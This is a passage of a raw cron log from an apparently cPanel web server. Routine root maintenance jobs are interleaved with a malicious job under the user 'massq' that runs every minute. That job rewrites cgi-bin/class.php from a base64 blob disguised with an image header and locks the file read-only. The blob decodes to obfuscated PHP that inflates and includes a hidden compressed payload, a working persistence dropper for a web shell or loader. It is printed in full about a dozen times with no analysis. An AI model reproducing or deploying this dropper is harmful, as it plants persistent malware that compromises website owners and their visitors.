FJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 02:28:01 server CROND[19020]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 02:28:01 server CROND[19022]: (root) CMD (/usr/local/cpanel/bin/process_ssl_reissue)
Sep  9 02:28:01 server CROND[19021]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 02:28:01 server CROND[19023]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 02:29:01 server CROND[19407]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 02:29:01 server CROND[19408]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 02:29:01 server CROND[19406]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 02:30:01 server CROND[19801]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  9 02:30:01 server CROND[19802]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 02:30:01 server CROND[19804]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  9 02:30:01 server CROND[19805]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 02:30:01 server CROND[19809]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 02:30:01 server CROND[19812]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  9 02:30:01 server CROND[19808]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 02:30:01 server CROND[19810]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 02:31:01 server CROND[20645]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 02:31:01 server CROND[20646]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 02:31:01 server CROND[20647]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 02:32:01 server CROND[21039]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 02:32:01 server CROND[21040]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 02:32:01 server CROND[21041]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 02:33:01 server CROND[21515]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 02:33:01 server CROND[21516]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 02:33:01 server CROND[21517]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 02:34:02 server CROND[21896]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 02:34:02 server CROND[21897]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 02:34:02 server CROND[21898]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 02:35:01 server CROND[22293]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 02:35:01 server CROND[22295]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep  9 02:35:01 server CROND[22297]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  9 02:35:01 server CROND[22299]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 02:35:01 server CROND[22296]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  9 02:35:01 server CROND[22298]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 02:35:01 server CROND[22301]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 02:35:01 server CROND[22300]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 02:35:01 server CROND[22302]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  9 02:36:01 server CROND[23315]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 02:36:01 server CROND[23317]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 02:36:01 server CROND[23316]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 02:37:01 server CROND[23696]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 02:37:01 server CROND[23697]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 02:37:01 server CROND[23698]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 02:38:01 server CROND[24124]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 02:38:01 server CROND[24126]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 02:38:01 server CROND[24125]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 02:39:01 server CROND[24986]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 02:39:01 server CROND[24987]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  9 02:39:01 server CROND[24985]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 02:39:01 server CROND[24988]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
